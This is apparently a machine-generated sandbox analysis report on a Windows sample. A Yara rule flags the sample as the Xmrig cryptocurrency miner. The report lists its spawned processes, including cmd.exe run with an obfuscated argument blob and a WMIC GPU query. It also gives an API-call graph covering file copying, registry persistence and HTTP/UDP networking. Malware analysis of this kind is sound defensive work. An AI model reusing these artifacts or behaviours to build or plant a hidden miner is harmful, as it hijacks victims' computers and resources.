                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:19
                                                                                                                                                                                                                                                                                                                                                    Start time:15:39:20
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff7fcd70000
                                                                                                                                                                                                                                                                                                                                                    File size:625664 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:20
                                                                                                                                                                                                                                                                                                                                                    Start time:15:39:21
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                                                                    Commandline:wmic PATH Win32_VideoController GET Name, VideoProcessor
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff73c480000
                                                                                                                                                                                                                                                                                                                                                    File size:521728 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:EC80E603E0090B3AC3C1234C2BA43A0F
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:21
                                                                                                                                                                                                                                                                                                                                                    Start time:15:39:28
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\System32\cmd.exe dxfechzzfypoyjbf 6E3sjfZq2rJQaxvLPmXgsEqPiBiBLmVqlQRiqAROwnovuL/XXMnmllvN0dE0MNZasUNTlydMwtsW2rj8icJseNEYIR9Mk2CrBAnQSkVd4ghuXK6zXctx/Rv1juQihv2xvWMCiOcCltF908O7Q2gnrwdkD5pEVAuSGMT8e5i6oyrq4eYUoHB2nuvdKC2X+JFQf7iSJSEOJr7GBp5A9pekMuLZ1K+sy4g4Epzwi6wbVxl8ZM8mn+7GccIbj+pVuNsDYY3GPzEsZqgcGX8v8f7JRHr2ZjrjHFfnkTA9y/qycxz5Gn7YfwXD9vtnqqY+8qFe
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff627730000
                                                                                                                                                                                                                                                                                                                                                    File size:273920 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000015.00000002.633519578.0000027716A2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

                                                                                                                                                                                                                                                                                                                                                    Disassembly

                                                                                                                                                                                                                                                                                                                                                    Reset < >

                                                                                                                                                                                                                                                                                                                                                      Execution Graph

                                                                                                                                                                                                                                                                                                                                                      Execution Coverage:1.1%
                                                                                                                                                                                                                                                                                                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                                                                                                                      Signature Coverage:17.7%
                                                                                                                                                                                                                                                                                                                                                      Total number of Nodes:1435
                                                                                                                                                                                                                                                                                                                                                      Total number of Limit Nodes:6
                                                                                                                                                                                                                                                                                                                                                      execution_graph 4291 405d80 Sleep CreateMutexA GetLastError 4292 405db6 ExitProcess 4291->4292 4293 405dbe GetModuleFileNameW PathFindFileNameW wsprintfW DeleteFileW ExpandEnvironmentStringsW 4291->4293 4294 405e49 4293->4294 4295 406136 Sleep RegOpenKeyExA 4294->4295 4342 40cfe0 GetLocaleInfoA 4294->4342 4297 406167 8 API calls 4295->4297 4298 40624d RegOpenKeyExA 4295->4298 4297->4298 4300 406273 8 API calls 4298->4300 4301 406359 Sleep 4298->4301 4300->4301 4350 40b0b0 4301->4350 4302 405ee0 ExitProcess 4303 405ee8 ExpandEnvironmentStringsW wsprintfW CopyFileW 4306 406015 Sleep wsprintfW CopyFileW 4303->4306 4307 405f3c SetFileAttributesW RegOpenKeyExW 4303->4307 4306->4295 4309 40605d SetFileAttributesW RegOpenKeyExW 4306->4309 4310 405f71 RegSetValueExW RegCloseKey 4307->4310 4311 405ff6 4307->4311 4308 406374 9 API calls 4353 404560 InitializeCriticalSection CreateFileW 4308->4353 4313 406092 RegSetValueExW RegCloseKey 4309->4313 4314 406117 4309->4314 4310->4311 4344 40d280 memset CreateProcessW 4311->4344 4313->4314 4317 40d280 5 API calls 4314->4317 4324 406123 4317->4324 4318 4064c0 4321 40600d ExitProcess 4324->4295 4326 40612e ExitProcess 4324->4326 4328 406429 CreateEventA 4385 40a7e0 4328->4385 4337 40ba90 17 API calls 4338 406489 4337->4338 4339 40ba90 17 API calls 4338->4339 4340 4064a5 4339->4340 4341 40ba90 17 API calls 4340->4341 4341->4318 4343 405ed8 4342->4343 4343->4302 4343->4303 4345 40d2e0 Sleep 4344->4345 4346 40d2ef ShellExecuteW 4344->4346 4347 406002 4345->4347 4348 40d324 4346->4348 4349 40d315 Sleep 4346->4349 4347->4306 4347->4321 4348->4347 4349->4347 4430 40b080 4350->4430 4354 404685 4353->4354 4355 404598 CreateFileMappingW 4353->4355 4367 40cf10 CoInitializeEx 4354->4367 4356 4045b9 MapViewOfFile 4355->4356 4357 40467b CloseHandle 4355->4357 4358 404671 CloseHandle 4356->4358 4359 4045d8 GetFileSize 4356->4359 4357->4354 4358->4357 4361 4045ed 4359->4361 4360 404667 UnmapViewOfFile 4360->4358 4361->4360 4363 40462c 4361->4363 4366 4045fc 4361->4366 4559 40b100 4361->4559 4566 404450 4361->4566 4364 408b60 _invalid_parameter 3 API calls 4363->4364 4364->4366 4366->4360 4803 40c470 socket 4367->4803 4371 406424 4380 405b10 CoInitializeEx SysAllocString 4371->4380 4372 40cf30 4372->4371 4373 40cf7a 4372->4373 4379 40cfb8 4372->4379 4813 40cb20 4372->4813 4828 409430 htons 4373->4828 4378 40ce90 24 API calls 4378->4379 4847 408c80 4379->4847 4381 405b32 4380->4381 4382 405b48 CoUninitialize 4380->4382 4992 405880 4381->4992 4382->4328 5001 40a7a0 4385->5001 4388 40a7a0 3 API calls 4389 40a7fe 4388->4389 4390 40a7a0 3 API calls 4389->4390 4391 40a80e 4390->4391 4392 40a7a0 3 API calls 4391->4392 4393 406441 4392->4393 4394 40b9e0 4393->4394 4395 4089f0 7 API calls 4394->4395 4396 40b9eb 4395->4396 4397 40644b 4396->4397 4398 40b9f7 InitializeCriticalSection 4396->4398 4399 409c30 InitializeCriticalSection 4397->4399 4398->4397 4404 409c4a 4399->4404 4400 409c79 CreateFileW 4402 409ca0 CreateFileMappingW 4400->4402 4403 409d62 4400->4403 4406 409cc1 MapViewOfFile 4402->4406 4407 409d58 CloseHandle 4402->4407 5045 409640 EnterCriticalSection 4403->5045 4404->4400 5008 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 4404->5008 5009 409920 4404->5009 4410 409cdc GetFileSize 4406->4410 4411 409d4e CloseHandle 4406->4411 4407->4403 4409 409d67 4412 40ba90 17 API calls 4409->4412 4416 409cfb 4410->4416 4411->4407 4414 406455 4412->4414 4413 409d44 UnmapViewOfFile 4413->4411 4418 40ba90 4414->4418 4416->4413 4417 409920 28 API calls 4416->4417 5044 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 4416->5044 4417->4416 4419 40baa7 EnterCriticalSection 4418->4419 4420 40646d 4418->4420 5068 40ba10 4419->5068 4420->4337 4423 40bb6b LeaveCriticalSection 4423->4420 4424 408a50 9 API calls 4425 40bae9 4424->4425 4425->4423 4426 40bafb CreateThread 4425->4426 4426->4423 4427 40bb1e 4426->4427 4428 40bb42 GetCurrentProcess GetCurrentProcess DuplicateHandle 4427->4428 4429 40bb64 4427->4429 4428->4429 4429->4423 4433 40b020 4430->4433 4434 40b053 4433->4434 4435 40b03e 4433->4435 4436 406369 4434->4436 4465 40ae50 4434->4465 4439 40acd0 4435->4439 4436->4308 4436->4318 4440 40ad82 4439->4440 4441 40acf9 4439->4441 4444 4089f0 7 API calls 4440->4444 4464 40ad7a 4440->4464 4441->4464 4499 4089f0 4441->4499 4445 40ada8 4444->4445 4447 401000 7 API calls 4445->4447 4445->4464 4449 40add5 4447->4449 4451 4011e0 10 API calls 4449->4451 4453 40adef 4451->4453 4452 40ad4f 4454 401000 7 API calls 4452->4454 4455 401000 7 API calls 4453->4455 4456 40ad60 4454->4456 4457 40ae00 4455->4457 4458 4011e0 10 API calls 4456->4458 4459 4011e0 10 API calls 4457->4459 4458->4464 4460 40ae1a 4459->4460 4461 401000 7 API calls 4460->4461 4462 40ae2b 4461->4462 4463 4011e0 10 API calls 4462->4463 4463->4464 4464->4436 4466 40ae79 4465->4466 4467 40af2a 4465->4467 4468 4089f0 7 API calls 4466->4468 4493 40af22 4466->4493 4470 4089f0 7 API calls 4467->4470 4467->4493 4469 40ae8f 4468->4469 4472 401000 7 API calls 4469->4472 4469->4493 4471 40af4e 4470->4471 4473 401000 7 API calls 4471->4473 4471->4493 4474 40aeb3 4472->4474 4476 40af72 4473->4476 4475 4089f0 7 API calls 4474->4475 4477 40aec2 4475->4477 4478 4089f0 7 API calls 4476->4478 4479 4011e0 10 API calls 4477->4479 4480 40af81 4478->4480 4481 40aeeb 4479->4481 4482 4011e0 10 API calls 4480->4482 4483 408b60 _invalid_parameter 3 API calls 4481->4483 4484 40afaa 4482->4484 4485 40aef7 4483->4485 4486 408b60 _invalid_parameter 3 API calls 4484->4486 4487 401000 7 API calls 4485->4487 4488 40afb6 4486->4488 4489 40af08 4487->4489 4490 401000 7 API calls 4488->4490 4491 4011e0 10 API calls 4489->4491 4492 40afc7 4490->4492 4491->4493 4494 4011e0 10 API calls 4492->4494 4493->4436 4495 40afe1 4494->4495 4496 401000 7 API calls 4495->4496 4497 40aff2 4496->4497 4498 4011e0 10 API calls 4497->4498 4498->4493 4510 408950 4499->4510 4502 401000 4531 408a10 4502->4531 4507 4011e0 4538 4010c0 4507->4538 4509 4011ff _invalid_parameter 4509->4452 4519 408740 GetCurrentProcessId 4510->4519 4512 40895b 4513 408967 __aligned_recalloc_base 4512->4513 4520 4088b0 4512->4520 4515 4089dc 4513->4515 4516 408982 HeapAlloc 4513->4516 4515->4464 4515->4502 4516->4515 4517 4089a9 __aligned_recalloc_base 4516->4517 4517->4515 4518 4089c4 memset 4517->4518 4518->4515 4519->4512 4528 408740 GetCurrentProcessId 4520->4528 4522 4088b9 4523 4088d6 HeapCreate 4522->4523 4529 408820 GetProcessHeaps 4522->4529 4525 4088f0 HeapSetInformation GetCurrentProcessId 4523->4525 4526 408917 4523->4526 4525->4526 4526->4513 4528->4522 4530 408851 4529->4530 4530->4523 4530->4526 4532 408950 __aligned_recalloc_base 7 API calls 4531->4532 4533 40100b 4532->4533 4534 401400 4533->4534 4535 40140a 4534->4535 4536 408a10 __aligned_recalloc_base 7 API calls 4535->4536 4537 401018 4536->4537 4537->4507 4539 40110e 4538->4539 4541 4010d1 4538->4541 4540 408a10 __aligned_recalloc_base 7 API calls 4539->4540 4539->4541 4543 401132 _invalid_parameter 4540->4543 4541->4509 4542 401162 memcpy 4544 401186 _invalid_parameter 4542->4544 4543->4542 4548 408b60 4543->4548 4546 408b60 _invalid_parameter 3 API calls 4544->4546 4546->4541 4555 408740 GetCurrentProcessId 4548->4555 4550 408b6b 4551 40115f 4550->4551 4556 408760 4550->4556 4551->4542 4554 408b87 HeapFree 4554->4551 4555->4550 4557 408790 HeapValidate 4556->4557 4558 4087b0 4556->4558 4557->4558 4558->4551 4558->4554 4575 408bd0 4559->4575 4561 40b141 4561->4361 4565 408b60 _invalid_parameter 3 API calls 4565->4561 4783 408a50 4566->4783 4569 408bd0 8 API calls 4570 4044bb 4569->4570 4793 40aa70 4570->4793 4572 404541 4572->4361 4576 408bfd 4575->4576 4577 408a10 __aligned_recalloc_base 7 API calls 4576->4577 4578 408c12 4576->4578 4579 408c14 memcpy 4576->4579 4577->4576 4578->4561 4580 40a610 4578->4580 4579->4576 4582 40a61c 4580->4582 4584 40a678 4582->4584 4586 408b60 _invalid_parameter 3 API calls 4582->4586 4587 40a63b 4582->4587 4588 40ab60 4582->4588 4602 4064d0 4582->4602 4585 408b60 _invalid_parameter 3 API calls 4584->4585 4585->4587 4586->4582 4587->4561 4587->4565 4590 40ab6f __aligned_recalloc_base 4588->4590 4589 40ab79 4589->4582 4590->4589 4591 408a10 __aligned_recalloc_base 7 API calls 4590->4591 4592 40ac08 4591->4592 4592->4589 4593 401000 7 API calls 4592->4593 4594 40ac1d 4593->4594 4595 401000 7 API calls 4594->4595 4596 40ac25 4595->4596 4598 40ac7d __aligned_recalloc_base 4596->4598 4605 40ab00 4596->4605 4610 401050 4598->4610 4601 401050 3 API calls 4601->4589 4718 4086c0 4602->4718 4606 4011e0 10 API calls 4605->4606 4607 40ab14 4606->4607 4616 4013e0 4607->4616 4609 40ab2c 4609->4596 4611 4010ae 4610->4611 4613 401064 _invalid_parameter 4610->4613 4611->4601 4612 408b60 _invalid_parameter 3 API calls 4612->4611 4614 408b60 _invalid_parameter 3 API calls 4613->4614 4615 40108c 4613->4615 4614->4615 4615->4612 4619 4012d0 4616->4619 4618 4013fa 4618->4609 4620 4012e4 4619->4620 4621 4010c0 __aligned_recalloc_base 10 API calls 4620->4621 4622 40132d 4621->4622 4623 4010c0 __aligned_recalloc_base 10 API calls 4622->4623 4624 40133d 4623->4624 4625 4010c0 __aligned_recalloc_base 10 API calls 4624->4625 4626 40134d 4625->4626 4627 4010c0 __aligned_recalloc_base 10 API calls 4626->4627 4628 40135d 4627->4628 4629 401366 4628->4629 4630 40138f 4628->4630 4634 402c20 4629->4634 4651 4029d0 4630->4651 4633 401387 _invalid_parameter 4633->4618 4635 401400 _invalid_parameter 7 API calls 4634->4635 4636 402c37 4635->4636 4637 401400 _invalid_parameter 7 API calls 4636->4637 4638 402c46 4637->4638 4639 401400 _invalid_parameter 7 API calls 4638->4639 4640 402c55 4639->4640 4641 401400 _invalid_parameter 7 API calls 4640->4641 4650 402c64 _invalid_parameter 4641->4650 4643 402e0f _invalid_parameter 4644 401430 _invalid_parameter 3 API calls 4643->4644 4645 402e35 _invalid_parameter 4643->4645 4644->4643 4646 401430 _invalid_parameter 3 API calls 4645->4646 4647 402e5b _invalid_parameter 4645->4647 4646->4645 4648 401430 _invalid_parameter 3 API calls 4647->4648 4649 402e81 4647->4649 4648->4647 4649->4633 4650->4643 4654 401430 4650->4654 4658 402e90 4651->4658 4653 4029ec 4653->4633 4655 401446 4654->4655 4656 40143b 4654->4656 4655->4650 4657 408b60 _invalid_parameter 3 API calls 4656->4657 4657->4655 4659 402ea6 _invalid_parameter 4658->4659 4660 402edd 4659->4660 4662 402eb8 _invalid_parameter 4659->4662 4663 402f03 4659->4663 4688 402880 4660->4688 4662->4653 4664 402f3d 4663->4664 4665 402f5e 4663->4665 4698 402a00 4664->4698 4667 401400 _invalid_parameter 7 API calls 4665->4667 4668 402f6f 4667->4668 4669 401400 _invalid_parameter 7 API calls 4668->4669 4670 402f7e 4669->4670 4671 401400 _invalid_parameter 7 API calls 4670->4671 4672 402f8d 4671->4672 4673 401400 _invalid_parameter 7 API calls 4672->4673 4674 402f9c 4673->4674 4711 402950 4674->4711 4676 401400 _invalid_parameter 7 API calls 4677 402fca _invalid_parameter 4676->4677 4677->4676 4679 403084 _invalid_parameter 4677->4679 4678 401430 _invalid_parameter 3 API calls 4678->4679 4679->4678 4680 4033a3 _invalid_parameter 4679->4680 4681 401430 _invalid_parameter 3 API calls 4680->4681 4682 4033c9 _invalid_parameter 4680->4682 4681->4680 4683 401430 _invalid_parameter 3 API calls 4682->4683 4684 4033ef _invalid_parameter 4682->4684 4683->4682 4685 401430 _invalid_parameter 3 API calls 4684->4685 4686 403415 _invalid_parameter 4684->4686 4685->4684 4686->4662 4687 401430 _invalid_parameter 3 API calls 4686->4687 4687->4686 4689 40288e 4688->4689 4690 401400 _invalid_parameter 7 API calls 4689->4690 4691 4028ab 4690->4691 4692 401400 _invalid_parameter 7 API calls 4691->4692 4693 4028ba _invalid_parameter 4692->4693 4694 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4693->4694 4695 40291a _invalid_parameter 4693->4695 4694->4693 4696 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4695->4696 4697 402940 4695->4697 4696->4695 4697->4662 4699 401400 _invalid_parameter 7 API calls 4698->4699 4700 402a17 4699->4700 4701 401400 _invalid_parameter 7 API calls 4700->4701 4702 402a26 4701->4702 4703 401400 _invalid_parameter 7 API calls 4702->4703 4710 402a35 _invalid_parameter 4703->4710 4704 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4704->4710 4705 402bc1 _invalid_parameter 4706 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4705->4706 4707 402be7 _invalid_parameter 4705->4707 4706->4705 4708 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4707->4708 4709 402c0d 4707->4709 4708->4707 4709->4662 4710->4704 4710->4705 4712 401400 _invalid_parameter 7 API calls 4711->4712 4713 40295f _invalid_parameter 4712->4713 4714 402880 _invalid_parameter 9 API calls 4713->4714 4715 402998 _invalid_parameter 4714->4715 4716 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4715->4716 4717 4029c3 4715->4717 4716->4715 4717->4677 4719 4086d2 4718->4719 4722 408620 4719->4722 4723 408a10 __aligned_recalloc_base 7 API calls 4722->4723 4728 408630 4723->4728 4724 4064ef 4724->4582 4726 40866c 4729 408b60 _invalid_parameter 3 API calls 4726->4729 4728->4724 4728->4726 4731 407b60 4728->4731 4738 408140 4728->4738 4743 408510 4728->4743 4729->4724 4732 407b69 4731->4732 4733 407b73 4731->4733 4732->4728 4733->4732 4734 407bb6 memset 4733->4734 4734->4732 4735 407bd7 4734->4735 4735->4732 4736 407bdd memcpy 4735->4736 4751 407930 4736->4751 4739 40814d 4738->4739 4740 408157 4738->4740 4739->4728 4740->4739 4741 40824f memcpy 4740->4741 4756 407e80 4740->4756 4741->4740 4745 408526 4743->4745 4750 40851c 4743->4750 4744 407e80 57 API calls 4746 4085a7 4744->4746 4745->4744 4745->4750 4747 407930 6 API calls 4746->4747 4746->4750 4748 4085c6 4747->4748 4749 4085db memcpy 4748->4749 4748->4750 4749->4750 4750->4728 4752 40797e 4751->4752 4754 40793e 4751->4754 4752->4732 4754->4752 4755 407870 6 API calls 4754->4755 4755->4754 4757 407e91 4756->4757 4758 407e9b 4756->4758 4757->4740 4758->4757 4762 407cc0 4758->4762 4761 407e80 57 API calls 4761->4757 4763 407cd7 4762->4763 4771 407ccd 4762->4771 4764 407d65 4763->4764 4765 407d48 4763->4765 4770 407d60 4763->4770 4763->4771 4768 407930 6 API calls 4764->4768 4767 407930 6 API calls 4765->4767 4767->4770 4768->4770 4773 407620 4770->4773 4771->4757 4771->4761 4772 407e0c memset 4772->4771 4774 407639 4773->4774 4782 40762f 4773->4782 4775 407500 6 API calls 4774->4775 4774->4782 4776 407732 4775->4776 4777 408a10 __aligned_recalloc_base 7 API calls 4776->4777 4778 407781 4777->4778 4779 407380 44 API calls 4778->4779 4778->4782 4780 4077ae 4779->4780 4781 408b60 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4780->4781 4781->4782 4782->4771 4782->4772 4802 408740 GetCurrentProcessId 4783->4802 4785 408a5b 4786 4088b0 __aligned_recalloc_base 5 API calls 4785->4786 4791 408a67 __aligned_recalloc_base 4785->4791 4786->4791 4787 404477 4787->4569 4787->4572 4788 408b10 HeapAlloc 4788->4791 4789 408ada HeapReAlloc 4789->4791 4790 408760 _invalid_parameter HeapValidate 4790->4791 4791->4787 4791->4788 4791->4789 4791->4790 4792 408b60 _invalid_parameter 3 API calls 4791->4792 4792->4791 4796 40aa7b 4793->4796 4794 408a10 __aligned_recalloc_base 7 API calls 4794->4796 4795 404506 4795->4572 4797 405c00 4795->4797 4796->4794 4796->4795 4798 408a10 __aligned_recalloc_base 7 API calls 4797->4798 4799 405c10 4798->4799 4800 405c57 4799->4800 4801 405c1c memcpy CreateThread CloseHandle 4799->4801 4800->4572 4801->4800 4802->4785 4804 40c5ce 4803->4804 4805 40c49d htons inet_addr setsockopt 4803->4805 4804->4372 4806 409430 8 API calls 4805->4806 4807 40c516 bind lstrlenA sendto ioctlsocket 4806->4807 4812 40c56b 4807->4812 4810 40c592 4860 4094f0 shutdown closesocket 4810->4860 4811 408a50 9 API calls 4811->4812 4812->4810 4812->4811 4851 40c380 4812->4851 4867 40c150 memset InternetCrackUrlA InternetOpenA 4813->4867 4816 40cc3e 4816->4372 4818 40cc0b 4819 408b60 _invalid_parameter 3 API calls 4818->4819 4819->4816 4825 40cc01 SysFreeString 4825->4818 4974 4093f0 inet_addr 4828->4974 4831 4094dd 4836 40ce90 4831->4836 4832 40948c connect 4833 4094a0 getsockname 4832->4833 4834 4094d4 4832->4834 4833->4834 4977 4094f0 shutdown closesocket 4834->4977 4978 4093d0 inet_ntoa 4836->4978 4838 40cea6 4839 40b2d0 11 API calls 4838->4839 4840 40cec5 4839->4840 4846 40cf08 4840->4846 4979 40cc50 memset InternetCrackUrlA InternetOpenA 4840->4979 4843 40cefc 4845 408b60 _invalid_parameter 3 API calls 4843->4845 4844 408b60 _invalid_parameter 3 API calls 4844->4843 4845->4846 4846->4378 4849 408c84 4847->4849 4848 408c8a 4848->4371 4849->4848 4850 408b60 GetCurrentProcessId HeapValidate HeapFree _invalid_parameter 4849->4850 4850->4849 4859 40c39c 4851->4859 4852 40c464 4852->4812 4853 40c3b8 recvfrom 4854 40c3e6 StrCmpNIA 4853->4854 4855 40c3d9 Sleep 4853->4855 4856 40c405 StrStrIA 4854->4856 4854->4859 4855->4859 4857 40c426 StrChrA 4856->4857 4856->4859 4861 40b180 4857->4861 4859->4852 4859->4853 4860->4804 4865 40b18b 4861->4865 4862 40b191 lstrlenA 4863 40b1a4 4862->4863 4862->4865 4863->4859 4864 408a10 __aligned_recalloc_base 7 API calls 4864->4865 4865->4862 4865->4863 4865->4864 4866 40b1c0 memcpy 4865->4866 4866->4863 4866->4865 4868 40c1f1 InternetConnectA 4867->4868 4869 40c367 4867->4869 4870 40c35a InternetCloseHandle 4868->4870 4871 40c22a HttpOpenRequestA 4868->4871 4869->4816 4880 40bef0 4869->4880 4870->4869 4872 40c260 HttpSendRequestA 4871->4872 4873 40c34d InternetCloseHandle 4871->4873 4874 40c340 InternetCloseHandle 4872->4874 4877 40c27d 4872->4877 4873->4870 4874->4873 4875 40c2cb 4875->4874 4876 40c29e InternetReadFile 4876->4875 4876->4877 4877->4875 4877->4876 4878 408a50 9 API calls 4877->4878 4879 40c2e6 memcpy 4878->4879 4879->4877 4909 403f20 4880->4909 4883 40bff0 4883->4818 4890 40cad0 4883->4890 4884 40bf1a SysAllocString 4885 40bf31 CoCreateInstance 4884->4885 4886 40bfe7 4884->4886 4887 40bfdd SysFreeString 4885->4887 4889 40bf56 4885->4889 4888 408b60 _invalid_parameter 3 API calls 4886->4888 4887->4886 4888->4883 4889->4887 4926 40c000 4890->4926 4893 40c9b0 4931 40c7d0 4893->4931 4896 40ca59 4896->4825 4906 40b2d0 4896->4906 4899 40c930 6 API calls 4900 40ca07 4899->4900 4900->4896 4948 40c750 4900->4948 4903 40c750 6 API calls 4905 40ca3f 4903->4905 4905->4896 4953 40c0f0 4905->4953 4969 40b240 4906->4969 4914 403f2d 4909->4914 4910 403f33 lstrlenA 4910->4914 4915 403f46 4910->4915 4912 408a10 __aligned_recalloc_base 7 API calls 4912->4914 4914->4910 4914->4912 4914->4915 4916 408b60 _invalid_parameter 3 API calls 4914->4916 4917 403e00 4914->4917 4921 403ed0 4914->4921 4915->4883 4915->4884 4916->4914 4918 403e17 MultiByteToWideChar 4917->4918 4919 403e0a lstrlenA 4917->4919 4920 403e3c 4918->4920 4919->4918 4920->4914 4922 403edb 4921->4922 4923 403ee1 lstrlenA 4922->4923 4924 403e00 2 API calls 4922->4924 4925 403f17 4922->4925 4923->4922 4924->4922 4925->4914 4927 40c026 4926->4927 4928 40c0cb 4927->4928 4929 40c0a3 lstrcmpiW 4927->4929 4930 40c0bb SysFreeString 4927->4930 4928->4818 4928->4893 4929->4927 4929->4930 4930->4927 4933 40c7f6 4931->4933 4932 40c90d 4932->4896 4943 40c930 4932->4943 4933->4932 4934 40c883 lstrcmpiW 4933->4934 4935 40c903 SysFreeString 4934->4935 4936 40c896 4934->4936 4935->4932 4937 40c0f0 2 API calls 4936->4937 4939 40c8a4 4937->4939 4938 40c8f5 4938->4935 4939->4935 4939->4938 4940 40c8d3 lstrcmpiW 4939->4940 4941 40c8e5 4940->4941 4942 40c8eb SysFreeString 4940->4942 4941->4942 4942->4938 4944 40c0f0 2 API calls 4943->4944 4946 40c94b 4944->4946 4945 40c987 4945->4896 4945->4899 4946->4945 4947 40c7d0 6 API calls 4946->4947 4947->4945 4949 40c0f0 2 API calls 4948->4949 4950 40c76b 4949->4950 4951 40c7a7 4950->4951 4957 40c5f0 4950->4957 4951->4903 4951->4905 4954 40c116 4953->4954 4955 40c12d 4954->4955 4956 40c000 2 API calls 4954->4956 4955->4896 4956->4955 4958 40c616 4957->4958 4959 40c72d 4958->4959 4960 40c6a3 lstrcmpiW 4958->4960 4959->4951 4961 40c723 SysFreeString 4960->4961 4962 40c6b6 4960->4962 4961->4959 4963 40c0f0 2 API calls 4962->4963 4965 40c6c4 4963->4965 4964 40c715 4964->4961 4965->4961 4965->4964 4966 40c6f3 lstrcmpiW 4965->4966 4967 40c705 4966->4967 4968 40c70b SysFreeString 4966->4968 4967->4968 4968->4964 4972 40b24d 4969->4972 4970 40b1f0 _vscprintf wvsprintfA 4970->4972 4971 408a50 9 API calls 4971->4972 4972->4970 4972->4971 4973 40b268 SysFreeString 4972->4973 4973->4825 4975 40941c socket 4974->4975 4976 409409 gethostbyname 4974->4976 4975->4831 4975->4832 4976->4975 4977->4831 4978->4838 4980 40ce81 4979->4980 4981 40ccf4 InternetConnectA 4979->4981 4980->4843 4980->4844 4982 40ce74 InternetCloseHandle 4981->4982 4983 40cd2d HttpOpenRequestA 4981->4983 4982->4980 4984 40cd63 HttpAddRequestHeadersA HttpSendRequestA 4983->4984 4985 40ce67 InternetCloseHandle 4983->4985 4986 40ce5a InternetCloseHandle 4984->4986 4987 40cdad 4984->4987 4985->4982 4986->4985 4988 40cdc4 InternetReadFile 4987->4988 4989 40cdf1 4987->4989 4990 408a50 9 API calls 4987->4990 4988->4987 4988->4989 4989->4986 4991 40ce0c memcpy 4990->4991 4991->4987 5000 4058b7 4992->5000 4993 405830 CoCreateInstance 4993->5000 4994 405a8b 4995 405a94 SysFreeString 4994->4995 4997 405a9e SysFreeString 4994->4997 4995->4997 4996 408b60 _invalid_parameter 3 API calls 4996->4994 4997->4382 4998 405a06 SysAllocString 4999 4058d2 4998->4999 4998->5000 4999->4994 4999->4996 5000->4993 5000->4998 5000->4999 5002 40a7aa 5001->5002 5003 40a7ae 5001->5003 5002->4388 5005 40a760 CryptAcquireContextW 5003->5005 5006 40a79b 5005->5006 5007 40a77d CryptGenRandom CryptReleaseContext 5005->5007 5006->5002 5007->5006 5008->4404 5048 409660 gethostname 5009->5048 5013 40994c strstr 5014 40995c 5013->5014 5015 40999d 5013->5015 5052 4093d0 inet_ntoa 5014->5052 5054 4093d0 inet_ntoa 5015->5054 5018 4099ab strstr 5020 4099bb 5018->5020 5021 4099fc EnterCriticalSection 5018->5021 5019 40996a strstr 5022 40997a 5019->5022 5028 409939 5019->5028 5055 4093d0 inet_ntoa 5020->5055 5026 409a14 5021->5026 5053 4093d0 inet_ntoa 5022->5053 5025 4099c9 strstr 5025->5028 5029 4099d9 5025->5029 5034 409a3f 5026->5034 5057 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5026->5057 5027 409988 strstr 5027->5015 5027->5028 5028->4404 5056 4093d0 inet_ntoa 5029->5056 5032 409b38 LeaveCriticalSection 5032->5028 5033 4099e7 strstr 5033->5021 5033->5028 5034->5032 5035 4089f0 7 API calls 5034->5035 5036 409a83 5035->5036 5036->5032 5058 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5036->5058 5038 409aa1 5039 409ac3 Sleep 5038->5039 5040 409acd 5038->5040 5042 409af3 5038->5042 5039->5038 5041 408b60 _invalid_parameter 3 API calls 5040->5041 5041->5042 5042->5032 5059 409550 5042->5059 